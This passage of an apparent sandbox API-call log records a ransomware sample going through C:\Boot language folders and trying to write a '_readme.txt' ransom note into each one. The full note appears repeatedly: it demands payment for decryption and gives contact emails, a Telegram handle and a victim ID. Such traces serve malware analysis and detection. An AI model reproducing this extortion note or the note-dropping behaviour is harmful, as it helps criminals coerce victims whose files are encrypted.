us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.423] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.423] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.423] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.424] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.424] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.424] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.424] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.424] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.424] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.424] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.424] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.425] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.425] PathFindFileNameW (pszPath="C:\\Boot\\nb-NO\\") returned="nb-NO\\" [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.425] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.425] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.425] PathFindFileNameW (pszPath="") returned="" [0116.425] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.425] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.426] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.426] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.426] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.426] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.426] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.426] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.426] PathAppendW (in: pszPath="C:\\Boot\\nb-NO\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 1 [0116.426] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.426] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.426] PathFileExistsW (pszPath="C:\\Boot\\nb-NO\\_readme.txt") returned 0 [0116.426] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.426] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.426] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.426] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.426] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\_readme.txt" (normalized: "c:\\boot\\nb-no\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.427] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.427] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.427] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.427] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.427] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.427] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.427] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.427] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.428] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.428] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.429] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.429] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.429] 